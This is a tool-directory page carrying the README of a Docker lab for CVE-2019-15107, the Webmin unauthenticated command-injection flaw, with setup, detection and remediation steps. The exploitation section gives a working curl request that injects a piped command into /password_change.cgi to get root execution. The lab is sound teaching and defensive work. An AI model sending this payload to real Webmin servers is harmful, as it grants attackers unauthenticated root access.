Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/shambhavim18/cve-2019-15107-lab
Defensive ToolsContainer SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHub
shambhavim18/cve-2019-15107-lab

cve-2019-15107-lab

Docker-based lab demonstrating CVE-2019-15107, the Webmin unauthenticated RCE, covering deployment, exploitation, detection, and remediation.

View Repository
9 hours agoNot yet reviewed
Share

CVE-2019-15107 – Webmin Unauthenticated RCE Lab

1. Project Overview

This project demonstrates CVE-2019-15107, a critical Remote Code Execution (RCE) vulnerability in Webmin, within a controlled and isolated Docker environment. The lab covers the complete vulnerability lifecycle from deployment and exploitation to detection and remediation.

2. Prerequisites & Environment Requirements

Prerequisites-

1.Docker Desktop (installed and running)
2.Docker Compose
3.Terminal / PowerShell with curl.exe support

Environment RequirementsOS: Windows / Linux / mac-

1.OS (Local host environment)

2.Port Availability: Port 10000 must be free on the host machine.

3. Vulnerable Application & Version

1.Application: Webmin
2.Vulnerable Version: 1.910 (Affected versions: 1.880 to 1.920)
3.Fixed/Patched Version: 1.930 and above
4.Vulnerability Type: Improper Neutralization of Special Elements used in an OS Command (CWE-78)
5.CVSS Score: 9.8 (Critical)

4. Installation & Setup Steps

1.Clone or download this project repository to your local machine.

2.Open your terminal and navigate to the project directory containing docker-compose.yml.

3.Ensure Docker Desktop is active on your system.

5. How to Start and Stop the Lab

How to Start the Lab-

Run the following command from the project root directory to pull and start the vulnerable container in detached mode: docker-compose up -d

You can verify the container status by running: docker compose ps

Access the application interface in your web browser at: https://localhost:10000 (accept the local SSL certificate warning).

How to Stop the Lab-

To stop and remove the running container environment, run: docker-compose down

6. How to Exploit the Vulnerability

The vulnerability exists in the unauthenticated password change endpoint (/password_change.cgi), where input parameters are passed directly to the system shell without proper sanitization.

Run the following command in your terminal (PowerShell/Bash) to execute a diagnostic command (id) as a proof-of-concept:

curl.exe -k https://localhost:10000/password_change.cgi -e "https://localhost:10000" -d "user=root&pam=&old=test|id&new1=test&new2=test"

7. Expected Results

Successful Exploitation: The server processes the injected pipe character (|), triggering unauthenticated command execution with root privileges. The terminal will output HTML response evidence alongside the container shell feedback (uid=0(root)), confirming successful remote code execution.

8. How to Run the Detection MechanismDetection for this vulnerability can be performed through:

1.Version Identification: Inspecting the running Webmin instance version to verify if it falls within the vulnerable range (1.880 to 1.920).

2.Network / Log Monitoring: Inspecting web server access or WAF logs for incoming HTTP POST requests directed to /password_change.cgi containing suspicious shell control characters (such as | or ;) inside parameter values.

9. Remediation

To mitigate and resolve CVE-2019-15107:

1.Upgrade: Upgrade Webmin to version 1.930 or higher, which properly sanitizes inputs passed to the underlying modules.

2.Access Control: Restrict network access to port 10000 using firewalls or VPN tunnels to prevent direct exposure to untrusted networks.

10. Troubleshooting Notes

1.Docker Daemon Not Running: If you encounter connection errors, ensure Docker Desktop is fully started and verify using docker version.

2.Port Conflict (10000 already in use): Ensure no other local application or service is occupying port 10000.

3.PowerShell curl Syntax Error: Use curl.exe instead of standard curl in Windows PowerShell to avoid parameter mapping issues with PowerShell's built-in Invoke-WebRequest alias.

Download Tool